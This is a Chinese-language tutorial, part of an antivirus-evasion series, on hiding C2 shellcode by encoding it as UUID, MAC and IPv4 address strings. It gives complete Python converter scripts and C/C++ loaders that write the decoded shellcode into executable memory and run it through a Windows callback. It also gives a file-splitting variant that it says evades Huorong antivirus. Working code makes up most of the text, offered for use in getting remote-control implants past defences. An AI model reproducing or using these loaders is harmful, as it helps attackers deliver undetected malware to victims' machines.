免杀对抗------第一百五十九天
C2远控篇&C&C++&SC转换格式&UUID标识&MAC物理&IPv4地址&减少熵值
前置知识
- 之前我们可能讲得更多的都是针对Loader的一个混淆,然后我们今天就来讲讲专门针对ShellCode本身能进行的一些转换
- 我们常见的可以将ShellCode转换为UUID、MAC、IPv4、IPv6等等,反正总的目的就是让杀毒软件不认识这个东西
C2远控 - UUID地址-ShellCode转换
- 参考文章:CS shellcode内存加载器免杀及实现-安全KER - 安全资讯平台
- 我们可以将ShellCode转换为UUID,让其加载到内存,UUID(通用唯一识别码)是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。
- 我们可以通过Python脚本去生成UUID形式的ShellCode:
python
from uuid import UUID
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
sys.exit(1)
with open(sys.argv[1], "rb") as f:
chunk = f.read(16)
print("{}const char* uuids[] =".format(' '*4))
print(" {")
while chunk:
if len(chunk) < 16:
padding = 16 - len(chunk)
chunk = chunk + (b"\x90" * padding)
print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk)))
break
print("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk)))
chunk = f.read(16)
print(" };")

- 然后通过如下代码加载:
cpp
#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
using namespace std;
const char* uuids[] = { "xxx"};
int main() {
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* hmem = HeapAlloc(hHeap, 0, 0x1000);
printf("%p\n", hmem);
DWORD_PTR ptr = (DWORD_PTR)hmem;
int init = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr);
if (status != RPC_S_OK) {
printf("UuidFromStringA != RPC_S_OK\n");
CloseHandle(hmem);
return -1;
}
ptr += 16;
}
printf("[+] HexDump: \n");
for (int i = 0; i < init * 16; i++) {
printf("%02X ", ((unsigned char*)hmem)[i]);
//((unsigned char*)hmem)[i] ^= 0x39;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
CloseHandle(hmem);
return 0;
}
- 当然只用这个肯定是没啥用的,我们还需要进行混淆,采用之前的一些技术结合起来才能过基本的杀毒软件,比如这里简单混淆一下代码,然后加个文件分离就可以过火绒了:
cpp
#include <Windows.h>
#include <Rpc.h>
#include <stdio.h>
#pragma comment(lib, "Rpcrt4.lib")
int main() {
// 从文件读取UUID数组(文件分离)
FILE* f = fopen("uuids.dat", "r");
if (!f) return 1;
char uuid[64];
int count = 0;
while (fgets(uuid, sizeof(uuid), f)) {
if (uuid[0] == '\n') continue;
count++;
}
fseek(f, 0, SEEK_SET);
// 分配内存
void* p = VirtualAlloc(NULL, count * 16, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD_PTR d = (DWORD_PTR)p;
// 加载UUID
while (fgets(uuid, sizeof(uuid), f)) {
if (uuid[0] == '\n') continue;
uuid[36] = 0; // 移除换行符
UuidFromStringA((RPC_CSTR)uuid, (UUID*)d);
d += 16;
}
fclose(f);
// 执行
EnumSystemLocalesA((LOCALE_ENUMPROCA)p, 0);
VirtualFree(p, 0, MEM_RELEASE);
return 0;
}


C2远控 - MAC地址-ShellCode转换
- 同理,我们也可以将ShellCode混淆为MAC地址,使用如下脚本:
python
from macaddress import MAC
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
sys.exit(1)
with open(sys.argv[1], "rb") as f:
chunk = f.read(6)
print("{}const char* MAC[] =".format(' '*4))
print(" {")
while chunk:
if len(chunk) < 6:
padding = 6 - len(chunk)
chunk = chunk + (b"\x90" * padding)
print("{}\"{}\"".format(' '*8,MAC(chunk)))
break
print("{}\"{}\",".format(' '*8,MAC(chunk)))
chunk = f.read(6)
print(" };")

- 再通过如下代码加载:
cpp
#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable:4996)
int Error(const char* msg) {
printf("%s (%u)", msg, GetLastError());
return 1;
}
int main() {
const char* MAC[] = { xxx };
int rowLen = sizeof(MAC) / sizeof(MAC[0]);
PCSTR Terminator = NULL;
DL_EUI48* LpBaseAddress2 = NULL;
NTSTATUS STATUS;
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* hmem = HeapAlloc(hHeap, 0, 0x1000);
DWORD_PTR ptr = (DWORD_PTR)hmem;
for (int i = 0; i < rowLen; i++) {
STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator,
(DL_EUI48*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlEthernetStringToAddressA failed in %s result %x(% u)", MAC[i], STATUS, GetLastError());
return FALSE;
}
ptr += 6;
}
printf("[+] HexDump: \n");
for (int i = 0; i < 6 * rowLen; i++) {
printf("%02X ", ((unsigned char*)hmem)[i]);
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
CloseHandle(hmem);
return 0;
}
- 但是这个也是过不了任何杀毒软件,还是需要进行混淆,这里就不细讲
C2远控 - IPv4地址-ShellCode转换
- 还是一样,可以通过下面的代码将ShellCode转换为IPv4的地址:
python
from ipaddress import ip_address
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
sys.exit(1)
with open(sys.argv[1], "rb") as f:
chunk = f.read(4)
print("{}const char* IPv4s[] =".format(' '*4))
print(" {")
while chunk:
if len(chunk) < 4:
padding = 4 - len(chunk)
chunk = chunk + (b"\x90" * padding)
print("{}\"{}\"".format(' '*8,ip_address(chunk)))
break
print("{}\"{}\",".format(' '*8,ip_address(chunk)))
chunk = f.read(4)
print(" };")

- 再通过如下代码加载:
cpp
#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
int main() {
const char* IPv4s[] = { xxx };
PCSTR Terminator = NULL;
PVOID LpBaseAddress = NULL;
PVOID LpBaseAddress2 = NULL;
NTSTATUS STATUS;
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* hmem = HeapAlloc(hHeap, 0, 0x1000);
DWORD_PTR ptr = (DWORD_PTR)hmem;
int init = sizeof(IPv4s) / sizeof(IPv4s[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)IPv4s[i], FALSE,
&Terminator, (in_addr*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)",
IPv4s[i], STATUS, GetLastError());
return FALSE;
}
ptr += 4;
}
printf("[+] HexDump: \n");
for (int i = 0; i < init * 4; i++) {
printf("%02X ", ((unsigned char*)hmem)[i]);
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
CloseHandle(hmem);
return 0;
}
- 这也没啥好说的,反正主要的原理就是
shellcode -> 加密/编码 -> 混淆后的shellcode,这三个技术与之前什么Base64、XOR、Rot13等等其实没什么本质上的区别